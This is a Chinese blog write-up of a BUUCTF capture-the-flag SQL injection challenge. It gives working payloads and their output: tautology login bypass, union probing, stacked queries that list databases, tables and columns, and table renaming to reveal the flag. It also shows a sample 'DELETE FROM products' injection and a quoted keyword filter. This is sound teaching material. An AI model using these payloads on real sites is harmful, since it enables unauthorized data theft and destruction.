# 【BUUCTF】强网杯 2019随便注1 write up

原创

今天CTF了吗 于 2022-04-06 13:46:38 发布 3745 收藏
分类专栏： BUUCTF 文章标签： sql

本文链接：https://blog.csdn.net/GZWZ_/article/details/123984768



BUUCTF 专栏收录该内容
7 篇文章 0 订阅
订阅专栏


输入万能密码1' or 1=1# ，判断存在sql注入，

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' or 1=1# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```



> SQL注入的万能密码实际上是利用了网址后台的漏洞，打开下面的网址不用密码和账号也可以登录后台。
>
> 万能密码原理：
>
> 万能密码能够绕过sql检测，在sql数据库中，运算符也是有优先级的，=优先于and，and优先于or，简单来说1=‘1’恒成立，因此返回值永远为True，且在SQL语法中 # 是注释符，所以后面的语句都会被注释掉。

我们尝试输入1，2，3，到3报错，说明字段数只有2个

尝试联合注入union，

> 判断显示位：
>
> 判断语句：
> 1' union select 1,2-- -
> 一直判断到报错

输入1′ union select 1,2 # 回显一个正则过滤规则

---

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1'; union select 1,2# 提交

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

由回显的信息得出 select被过滤，无法联合注入

**拓展：**

PHP 中的 preg_match() 函数可以根据正则表达式对字符串进行搜索匹配，函数的语法格式如下：

preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])

preg_match() 函数可以返回 $pattern 的匹配次数，它的值将是 0 次（不匹配）或 1 次，因为 preg_match() 在第一次匹配后将会停止搜索。

尝试堆叠注入，查询数据库

堆叠注入原理:

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在分号（;）结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入：1; DELETE FROM products
服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products
当执行查询后，第一条显示查询信息，第二条则将整个表进行删除

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1';show databases;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```



---

输入1';show databases;#，成功回显，说明存在堆叠注入。

接下来查询表名：

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1';show tables;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```



成功回显，得到两个表：words和1919810931114514

查询表中字段：输入1'; show columns from words; #

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: how columns from words; # 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```



> 表名为数字时，要用反引号包起来查询。

# 取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: from `1919810931114514` 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```



看到了flag，如何回显flag呢？

1，通过 rename 先把 words 表改名为其他的表名（word）。

2，把 1919810931114514 表的名字改为 words 。

3，将 flag列 改名为 id

（4，或者将flag列改名为data）
如下：

1，1';rename table words to word;
2，rename table `1919810931114514` to words;
3, alert table words change flag id varchar (100);#

（4，alter table `words` add id int(10);alter table `words` change flag data varchar(20);#）
5，最后输入1' or 1=1 # 查看所有内容

（我试了试字符用不用反引号好像都行），大家看自己的情况吧！最好加上，免得出错）